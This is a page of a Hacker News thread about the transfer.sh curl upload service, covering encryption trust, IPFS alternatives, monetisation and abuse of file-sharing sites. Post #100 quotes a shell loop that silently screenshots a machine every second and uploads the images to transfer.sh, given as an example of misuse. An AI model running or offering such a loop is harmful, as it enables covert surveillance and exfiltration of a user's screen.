Hacker News Board Hacker News, browsed like a classic message board
Live data from Hacker News

$ cat ~/myfile | curl -X PUT --upload-file “-” https://transfer.sh/myfile.txt

transfer.sh

Post reply on HN
Print view View original

91–100 of 125 posts

Re: $ cat ~/myfile | curl -X PUT --upload-file “-” https://transfer.sh/myfile.txt

#91

Post by developer2 »

Depado wrote: post #76

Haw. I made quite the same service, curl compliant and stuff except it encrypts the file on disk upon reception (creating an AES cipher, piping the file through it while receiving it) and sending back the id of the file and the key that allows decryption of said file. If anyone is interested there's plenty of documentation, even a client that allows to take screenshots and upload them on the fly. https://up.depado.eu…

Very cool, though I find it a little odd. If someone is going the extra mile to store the file encrypted, it stands to reason that trusting the service with the initial unencrypted byte stream is a no-go. The file being uploaded over HTTPS, and your assurance that the stream is piped directly through encryption, is of little consequence if you or an infiltrator to your server were to choose to be malicious.

I understand it's impossible to tool the concept to work with a very simple shell one-liner, and without a further dependency like an openssl binary. I like the concept, but I'd rather have to perform a one-time install of openssl or similar and copy a 10-20 line bash script to have true security rather than your current setup that comes with a technically flawed security model.

Obviously you are aware of this, and chose the path of convenience and "good for most uses". Kudos for a clean tool!

Re: $ cat ~/myfile | curl -X PUT --upload-file “-” https://transfer.sh/myfile.txt

#92

Post by Fice »

Why depend on a centralized service when there are easy-to-use decentralized alternatives?

  $ ipfs add myfile.txt
  added QmeeLUVdiSTTKQqhWqsffYDtNvvvcTfJdotkNyi1KDEJtQ myfile.txt
  # Access via a public gateway
  $ curl https://ipfs.io/ipfs/QmeeLUVdiSTTKQqhWqsffYDtNvvvcTfJdotkNyi1KDEJtQ
  # or via a local node
  $ curl http://127.0.0.1:8080/ipfs/QmeeLUVdiSTTKQqhWqsffYDtNvvvcTfJdotkNyi1KDEJtQ

Re: $ cat ~/myfile | curl -X PUT --upload-file “-” https://transfer.sh/myfile.txt

#93

Post by aaronbasssett »

krick wrote: post #84

It doesn't seem to be very cheep to run given enough users, yet I don't see anybody trying to sell me something. So, how?

Get users then start to offer premium features? Of the top of my head;

  * Increased filesize limits
  * Support for custom domains
  * Ability to set download limits or kill date per file
  * Analytics about file downloads
  * Support for hosted version

Re: $ cat ~/myfile | curl -X PUT --upload-file “-” https://transfer.sh/myfile.txt

#94

Post by geofft »

Fice wrote: post #92

Why depend on a centralized service when there are easy-to-use decentralized alternatives? $ ipfs add myfile.txt added QmeeLUVdiSTTKQqhWqsffYDtNvvvcTfJdotkNyi1KDEJtQ myfile.txt # Access via a public gateway $ curl https://ipfs.io/ipfs/QmeeLUVdiSTTKQqhWqsffYDtNvvvcTfJdotkNyi1KDEJtQ # or via a local node $ curl http://127.0.0.1:8080/ipfs/QmeeLUVdiSTTKQqhWqsffYDtNvvvcTfJdotkNyi1KDEJtQ

1. If you're using ipfs.io, you're using a centralized service.

2. Why is a decentralized service better than a centralized one, for this use case? It seems like neither really has an inherent advantage.

Re: $ cat ~/myfile | curl -X PUT --upload-file “-” https://transfer.sh/myfile.txt

#95

Post by cscheid »

jkbr wrote: post #75
reustle wrote: post #68

Earlier quoted context omitted.

Because unlike these other examples, this one requires you to install something

"requires you to install something" is relative, depending on what's installed on your system. This example is a continuation of the 'elaborate vs. simpler command' theme of this thread for people who prefer HTTPie.

Just FYI, it would have been helpful if you had disclosed that you're the author of HTTPie.

Re: $ cat ~/myfile | curl -X PUT --upload-file “-” https://transfer.sh/myfile.txt

#96

Post by Fice »

geofft wrote: post #94
Fice wrote: post #92

Why depend on a centralized service when there are easy-to-use decentralized alternatives? $ ipfs add myfile.txt added QmeeLUVdiSTTKQqhWqsffYDtNvvvcTfJdotkNyi1KDEJtQ myfile.txt # Access via a public gateway $ curl https://ipfs.io/ipfs/QmeeLUVdiSTTKQqhWqsffYDtNvvvcTfJdotkNyi1KDEJtQ # or via a local node $ curl http://127.0.0.1:8080/ipfs/QmeeLUVdiSTTKQqhWqsffYDtNvvvcTfJdotkNyi1KDEJtQ

1. If you're using ipfs.io, you're using a centralized service. 2. Why is a decentralized service better than a centralized one, for this use case? It seems like neither really has an inherent advantage.

1. ipfs.io is not a critical part of the system. If it becomes unavailable, the information can still be retrieved via a local node or another public gateway.

2. With a decentralized system like IPFS, availability of the data does not depend on a single provider. Also, there are no artificial limits on data size and storage time.

Re: $ cat ~/myfile | curl -X PUT --upload-file “-” https://transfer.sh/myfile.txt

#97

Post by jacquesm »

pmarreck wrote: post #87
parfe wrote: post #70

Earlier quoted context omitted.

https://www.microsoft.com/en-us/photodna Microsoft provides an API which identifies child expoilting images.

How can you even test such a service legally? This is a general problem with banning things instead of simply regulating them somehow. How would one scientifically study methamphetamine, for example, in a country where it is illegal to even possess it? Without arguing for or against CP, what if I wanted to look up evidence that use of CP leads to increase or decrease of actual child abuse, without setting off red fla…

> How can you even test such a service legally?

It's actually quite well designed and questions such as these were definitely taken into account during the design phase.

I came up with a similar scheme about 15 years ago (as a result of operating that file sharing service) and proposed to the local LE that we set up a service where a 'fingerprint' of an image could be tested against known bad images, and if an image tested positive it would be flagged for review (and on an exact match it would be automatically banned).

The local law enforcement officer thought it was a great idea but it would never fly because even the hashes of the images were considered off-limits for sharing with others and they'd have to share their database of hashes with me if I were to set this up (free of charge).

Eventually MS came up with PhotoDNA and they're too big to ignore.

Re: $ cat ~/myfile | curl -X PUT --upload-file “-” https://transfer.sh/myfile.txt

#98

Post by jacquesm »

pmarreck wrote: post #86
jacquesm wrote: post #64

Earlier quoted context omitted.

It's a matter of proportion to me. If a service is used predominantly to facilitate illegality then I see no reason to continue to run it. The internet, phones, email, regular mail, roads, electricity, software and on on have predominantly good and productive uses. File sharing websites attract percentage wise more bad than good, at least more bad than what I'm comfortable with. So in the end that's a moral call and…

> If a service is used predominantly to facilitate illegality I guess we should all stop using cash, then? https://en.wikipedia.org/wiki/Contaminated_currency

It's obvious that you're trolling, but just in case you're not: Eventually you can expect a push against cash in the name of anti-terrorism and anti-crime campaigns. Obviously those will be founded in bull-shit but that's not going to stop it from happening. Whether or not it will succeed is mostly a matter of how it gets sold to the public.

As for how it is possible for all of the available currency to be contaminated with traces of drugs and yet that this does not need to prove that all (or even a majority) of the cash transactions done are drug related, I'm sure you're smart enough to figure that one out for yourself, but evidence such as this will figure prominently in the kind of discussion that will visit us some years into the future.

Re: $ cat ~/myfile | curl -X PUT --upload-file “-” https://transfer.sh/myfile.txt

#99

Post by chopete »

Xylakant wrote: post #58
jacquesm wrote: post #45

Earlier quoted context omitted.

You can leave out the 'potentially'. I shut down a file sharing service specifically for that reason, it is just about impossible not to become a vector for the transmission of illegal or objectionable content. DMCA does not cover it, because the DMCA is about copyright , not about content that is illegal to possess regardless of how you got it. That said, the police (at least, the police here) is more than happy to…

We're lucky that some people are fine with becoming an unwilling partner since without them no internet, no phone, no email, no snail mail, no roads, no electricity, no open source software, no nothing. It's a sad fact of life that pretty much every useful technology, service or piece of infrastructure will be used for illegal dealings of some kind.

False analogy. Creating a file upload service with no authentication or no resources to keep it safe is like installing a fully loaded AK 47 at an intersection and hoping people would just use it to learn how it works or use in an emergency to shoot at criminals passing that intersection.

There are free file upload services and there are ways to upload from command line(1).

[1] https://github.com/andreafabrizi/Dropbox-Uploader

Re: $ cat ~/myfile | curl -X PUT --upload-file “-” https://transfer.sh/myfile.txt

#100

Post by rybosome »

dzhiurgis wrote: post #33

Idea where can such service be used for nefarious purposes: while true do dt=$(date '+%d%m%Y%H:%M:%S'); screencapture -x file$dt.png curl --upload-file ./file$dt.png https://transfer.sh/66nb8/capture$dt.png rm file$dt.png sleep 1 done

If you can get that script to run on a user's machine, they're hosed whether or not this service exists. Curl or mail to an endpoint in the attacker's control would be equally effective.
Post reply on HN